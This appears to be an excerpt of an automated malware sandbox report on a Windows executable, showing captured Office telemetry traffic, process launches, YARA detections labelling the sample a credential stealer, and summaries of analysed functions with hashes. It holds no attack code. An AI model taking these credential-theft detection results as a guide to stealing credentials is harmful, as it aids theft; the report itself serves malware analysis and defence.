2024-11-20 05:40:41 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:41 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054041Z-185f5d8b95c9mqtvhC1NYCghtc00000009tg00000000kyzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:41 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:42 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:42 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054042Z-1777c6cb7549j9hhhC1TEBzmcc000000093g0000000079cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:42 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:42 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:42 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:42 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054042Z-185f5d8b95cdtclvhC1NYC4rmc00000009zg000000005gzf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:42 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:42 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:42 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:42 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054042Z-185f5d8b95c9mqtvhC1NYCghtc00000009z0000000000pw3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:42 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:42 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:42 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054042Z-185f5d8b95crwqd8hC1NYCps6800000009u0000000007nqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:42 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:42 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:42 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054042Z-r1d97b99577n4dznhC1TEBc1qw00000008gg000000004n8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:42 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49946	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:43 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:43 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054043Z-185f5d8b95c9mqtvhC1NYCghtc00000009w00000000097vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:43 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	00:40:03
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x560000
File size:	1'836'032 bytes
MD5 hash:	06CDF5CBDFA34FCE7DFDE3B0B0FB8258
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2122155119.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2136345870.0000000000B51000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2135731126.0000000000B50000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2135690468.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2152078612.0000000000B51000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2148853382.0000000000B50000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2107987634.0000000000B3F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2122208646.0000000000B50000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:40:26
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	00:40:26
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1896,i,699837982476473794,15820292767199972277,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:40:29
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:40:29
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2032,i,11720030258500740582,152238340619267694,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.3%
Total number of Nodes:	7
Total number of Limit Nodes:	1

Executed Functions

Function 0059E470 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00584127,?,00000014,000000FF,?,?,00000002,?), ref: 0059E49E

Memory Dump Source

Source File: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2361706048.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361769481.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361838484.00000000005B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361838484.0000000000737000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361838484.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361838484.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361838484.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361838484.0000000000850000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362202853.0000000000851000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362387337.00000000009E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362414015.00000000009E8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 05CC6B5B Relevance: 4.6, APIs: 3, Instructions: 81
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05CC99A6
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 05CC99CD
GetNativeSystemInfo.KERNEL32(?), ref: 05CC9A24

Memory Dump Source

Source File: 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: true

Associated: 00000000.00000002.2367312484.0000000005B30000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367340861.0000000005B32000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367367113.0000000005B36000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005B3A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DD5000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b30000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 56e9b6e13a71e14072f28d4c1b8f314090af7d3239c26f8f5abdf791b5c29fa8
Instruction ID: 076a719349fdbc39ef2d2210e6fc8eb4c7a09a28d82e57e246f4b9818bd939b6
Opcode Fuzzy Hash: 56e9b6e13a71e14072f28d4c1b8f314090af7d3239c26f8f5abdf791b5c29fa8
Instruction Fuzzy Hash: 16313A7110420EDEDF11DF60C885BEE3BE5FF04304F00096AE98586950E7B65DA4CF5A

Non-executed Functions

Function 05CD3F20 Relevance: 1.4, Strings: 1, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*@_O, xrefs: 05CD409B

Memory Dump Source

Source File: 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: true

Associated: 00000000.00000002.2367312484.0000000005B30000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367340861.0000000005B32000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367367113.0000000005B36000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005B3A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DD5000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b30000_file.jbxd

Similarity

API ID:
String ID: *@_O
API String ID: 0-1158742044
Opcode ID: 40bcdcc24dbc67515086ccf794f54ded81369533736b1a42d32b3de8f6fa8de3
Instruction ID: b4498c90a431eacde1edc579e4f6322d83a620d7825d1c4b9f9295e409431ec1
Opcode Fuzzy Hash: 40bcdcc24dbc67515086ccf794f54ded81369533736b1a42d32b3de8f6fa8de3
Instruction Fuzzy Hash: B95103B690C200AFE301AF29DC856BAFBE5FF94760F16892EE5C0C3650E73558448B63

Function 05CD3F85 Relevance: 1.4, Strings: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*@_O, xrefs: 05CD409B

Memory Dump Source

Source File: 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: true

Associated: 00000000.00000002.2367312484.0000000005B30000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367340861.0000000005B32000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367367113.0000000005B36000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005B3A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DD5000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b30000_file.jbxd

Similarity

API ID:
String ID: *@_O
API String ID: 0-1158742044
Opcode ID: e2de2a141e66d6946227db6da9a2a14d39f4adfacb39615cc188d3014457a735
